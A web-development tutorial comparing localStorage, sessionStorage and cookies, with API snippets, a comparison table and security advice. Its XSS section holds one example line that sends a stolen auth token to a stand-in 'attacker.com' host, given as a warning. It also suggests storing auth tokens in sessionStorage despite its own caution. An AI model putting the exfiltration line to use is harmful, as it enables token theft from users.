Quick Overview
All three are client-side storage mechanisms — data stored in the user's browser. They differ in lifetime, capacity, scope, and server accessibility.
localStorage
localStorage stores data with no expiration date. The data persists even after the browser is closed and reopened. It is scoped to the origin (protocol + domain + port) and shared across all tabs and windows of that origin.
Basic API
// Store data
localStorage.setItem('theme', 'dark');
localStorage.setItem('username', 'jaydeep');
// Store objects (must stringify)
const prefs = { fontSize: 16, language: 'en' };
localStorage.setItem('prefs', JSON.stringify(prefs));
// Retrieve data
const theme = localStorage.getItem('theme'); // 'dark'
const prefs2 = JSON.parse(localStorage.getItem('prefs'));
// Remove a key
localStorage.removeItem('username');
// Clear everything
localStorage.clear();
// Check number of items
console.log(localStorage.length);Only strings! localStorage stores everything as strings. Always use JSON.stringify() for objects/arrays and JSON.parse() when retrieving.
Good use cases
- User preferences (theme, language, font size)
- Shopping cart items (non-sensitive)
- Caching API responses
- App state that should persist across sessions
sessionStorage
sessionStorage has the same API as localStorage, but data is cleared when the browser tab (or window) is closed. Each tab gets its own storage — data is not shared between tabs.
// Same API as localStorage
sessionStorage.setItem('currentStep', '2');
sessionStorage.setItem('formData', JSON.stringify({ name: 'Jaydeep' }));
const step = sessionStorage.getItem('currentStep'); // '2'
sessionStorage.removeItem('currentStep');
sessionStorage.clear();Tab isolation: If a user opens your site in two tabs, each tab gets its own sessionStorage. Changes in one tab are not visible in the other — unlike localStorage.
Good use cases
- Multi-step form progress (don't lose data on refresh)
- One-time notifications or onboarding state
- Temporary filters or search state within a session
- Auth tokens that should die when the tab closes
Cookies
Cookies are the oldest browser storage mechanism. Unlike Web Storage, cookies are automatically sent with every HTTP request to the server — making them the only option when the server needs to read the stored value.
Reading and Writing Cookies
// Set a cookie (expires in 7 days)
function setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${encodeURIComponent(value)};expires=${expires};path=/;SameSite=Lax`;
}
// Get a cookie by name
function getCookie(name) {
return document.cookie
.split('; ')
.find(row => row.startsWith(name + '='))
?.split('=')[1];
}
// Delete a cookie
function deleteCookie(name) {
document.cookie = `${name}=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/`;
}
setCookie('sessionId', 'abc123', 7);
console.log(getCookie('sessionId')); // 'abc123'Cookie attributes
| Attribute | Purpose | Example |
|---|---|---|
expires / max-age | When the cookie expires (session cookie if omitted) | expires=Fri, 01 Jan 2027 00:00:00 GMT |
path | URL path the cookie is valid for | path=/ (all pages) |
domain | Which domain can read the cookie | domain=example.com |
Secure | Only sent over HTTPS | Secure |
HttpOnly | Not accessible via JavaScript (server-set only) | HttpOnly |
SameSite | Controls cross-site sending (CSRF protection) | SameSite=Strict |
Side-by-Side Comparison
| Feature | localStorage | sessionStorage | Cookies |
|---|---|---|---|
| Capacity | ~5–10 MB | ~5–10 MB | ~4 KB |
| Lifetime | Until cleared | Until tab closes | Set by expiry |
| Accessible via JS | Yes | Yes | Yes (unless HttpOnly) |
| Sent to server | No | No | Yes (every request) |
| Shared across tabs | Yes | No | Yes |
| Works with HTTP | Yes | Yes | Yes |
| Expiry control | No | No | Yes |
| Encryption support | No | No | Secure flag |
Security Considerations
Never store sensitive data (passwords, auth tokens, credit card numbers) in localStorage or sessionStorage. They are accessible by any JavaScript on the page — including XSS scripts.
XSS vulnerability
// BAD: attacker script can steal tokens
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?t=' + token);
// BETTER: use HttpOnly cookies for auth tokens
// The server sets: Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict
// JavaScript cannot read HttpOnly cookies at allCSRF with cookies
Because cookies are sent with every request, they are vulnerable to Cross-Site Request Forgery (CSRF). Mitigate this with SameSite=Strict or SameSite=Lax and CSRF tokens on forms.
When to Use Which?
Use localStorage for non-sensitive user preferences that should persist across sessions (theme, language, progress tracking).
Use sessionStorage for temporary form data, wizard steps, or any state that should vanish when the user closes the tab.
Use HttpOnly cookies for authentication tokens and session IDs — only the server can set and read them, making XSS impossible on those values.
Practical Examples
Dark mode preference (localStorage)
// Save preference
document.getElementById('themeToggle').addEventListener('change', (e) => {
const theme = e.target.checked ? 'dark' : 'light';
localStorage.setItem('theme', theme);
applyTheme(theme);
});
// Apply on page load
const saved = localStorage.getItem('theme') || 'light';
applyTheme(saved);
function applyTheme(t) {
document.documentElement.setAttribute('data-theme', t);
}Multi-step form (sessionStorage)
// Step 1 — save when user moves to step 2
function goToStep2() {
const data = {
name: document.getElementById('name').value,
email: document.getElementById('email').value
};
sessionStorage.setItem('step1', JSON.stringify(data));
showStep(2);
}
// Step 2 — retrieve if user goes back
const saved = sessionStorage.getItem('step1');
if (saved) {
const { name, email } = JSON.parse(saved);
document.getElementById('name').value = name;
document.getElementById('email').value = email;
}